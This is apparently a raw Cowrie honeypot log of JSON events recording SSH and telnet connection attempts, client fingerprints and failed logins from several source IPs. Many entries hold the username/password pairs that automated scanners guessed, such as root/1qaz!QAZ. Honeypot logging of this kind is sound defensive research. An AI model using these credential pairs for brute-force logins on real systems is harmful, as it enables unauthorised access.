{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:57.143956Z","src_ip":"176.65.132.129","session":"061ca1d23276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:57.399708Z","src_ip":"38.93.206.2","session":"867a7e88755b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35292,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f9170d688c","protocol":"ssh","message":"New connection: 176.65.132.129:35292 (159.203.135.109:22) [session: 45f9170d688c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:58.826566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:58.834249Z","src_ip":"176.65.132.129","session":"45f9170d688c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:58.917866Z","src_ip":"176.65.132.129","session":"45f9170d688c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:59.165145Z","src_ip":"176.65.132.129","session":"45f9170d688c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40042,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b9d7d67dbbb","protocol":"telnet","message":"New connection: 152.42.224.71:40042 (10.17.0.5:23) [session: 6b9d7d67dbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:59.881420Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:00.249871Z","src_ip":"176.65.132.129","session":"45f9170d688c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35306,"dst_ip":"159.203.135.109","dst_port":22,"session":"82237aff0d05","protocol":"ssh","message":"New connection: 176.65.132.129:35306 (159.203.135.109:22) [session: 82237aff0d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:02.061262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:02.068929Z","src_ip":"176.65.132.129","session":"82237aff0d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:02.156924Z","src_ip":"176.65.132.129","session":"82237aff0d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:02.525929Z","src_ip":"176.65.132.129","session":"82237aff0d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:03.611956Z","src_ip":"176.65.132.129","session":"82237aff0d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":38718,"dst_ip":"10.17.0.5","dst_port":22,"session":"b51b14d45336","protocol":"ssh","message":"New connection: 13.71.92.229:38718 (10.17.0.5:22) [session: b51b14d45336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:04.815217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:04.821220Z","src_ip":"13.71.92.229","session":"b51b14d45336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.057411Z","src_ip":"13.71.92.229","session":"b51b14d45336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35316,"dst_ip":"159.203.135.109","dst_port":22,"session":"481f6c37d0f1","protocol":"ssh","message":"New connection: 176.65.132.129:35316 (159.203.135.109:22) [session: 481f6c37d0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.530026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.535245Z","src_ip":"176.65.132.129","session":"481f6c37d0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.617996Z","src_ip":"176.65.132.129","session":"481f6c37d0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.868461Z","src_ip":"176.65.132.129","session":"481f6c37d0f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":49126,"dst_ip":"159.203.135.109","dst_port":22,"session":"e53c185a4540","protocol":"ssh","message":"New connection: 62.54.176.203:49126 (159.203.135.109:22) [session: e53c185a4540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.948518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:05.953571Z","src_ip":"62.54.176.203","session":"e53c185a4540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dont4get","message":"login attempt [root/dont4get] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:06.020995Z","src_ip":"13.71.92.229","session":"b51b14d45336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:06.096664Z","src_ip":"62.54.176.203","session":"e53c185a4540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devuser123","message":"login attempt [root/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:06.648491Z","src_ip":"62.54.176.203","session":"e53c185a4540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:06.953116Z","src_ip":"176.65.132.129","session":"481f6c37d0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:07.257423Z","src_ip":"13.71.92.229","session":"b51b14d45336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":39258,"dst_ip":"159.203.135.109","dst_port":22,"session":"19dab571c1a2","protocol":"ssh","message":"New connection: 45.132.125.41:39258 (159.203.135.109:22) [session: 19dab571c1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:07.436873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:07.441919Z","src_ip":"45.132.125.41","session":"19dab571c1a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:07.544921Z","src_ip":"45.132.125.41","session":"19dab571c1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:07.756337Z","src_ip":"62.54.176.203","session":"e53c185a4540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#","message":"login attempt [root/1qaz2wsx#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:07.987056Z","src_ip":"45.132.125.41","session":"19dab571c1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"3adfd879e681","protocol":"telnet","message":"New connection: 152.42.224.71:58860 (10.17.0.5:23) [session: 3adfd879e681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:08.457409Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46196,"dst_ip":"159.203.135.109","dst_port":22,"session":"6149a334cae0","protocol":"ssh","message":"New connection: 176.65.132.129:46196 (159.203.135.109:22) [session: 6149a334cae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:08.737045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:08.746725Z","src_ip":"176.65.132.129","session":"6149a334cae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:08.829105Z","src_ip":"176.65.132.129","session":"6149a334cae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:09.078099Z","src_ip":"176.65.132.129","session":"6149a334cae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:09.093168Z","src_ip":"45.132.125.41","session":"19dab571c1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:10.164791Z","src_ip":"176.65.132.129","session":"6149a334cae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f5988d49483","protocol":"telnet","message":"New connection: 152.42.224.71:58864 (10.17.0.5:23) [session: 8f5988d49483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:11.549942Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46228,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ef6b61c50a3","protocol":"ssh","message":"New connection: 176.65.132.129:46228 (159.203.135.109:22) [session: 0ef6b61c50a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:12.129286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:12.135234Z","src_ip":"176.65.132.129","session":"0ef6b61c50a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:12.217939Z","src_ip":"176.65.132.129","session":"0ef6b61c50a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58868,"dst_ip":"10.17.0.5","dst_port":23,"session":"7645b7ef7291","protocol":"telnet","message":"New connection: 152.42.224.71:58868 (10.17.0.5:23) [session: 7645b7ef7291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:12.406832Z"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:12.466077Z","src_ip":"176.65.132.129","session":"0ef6b61c50a3","protocol":"ssh"}
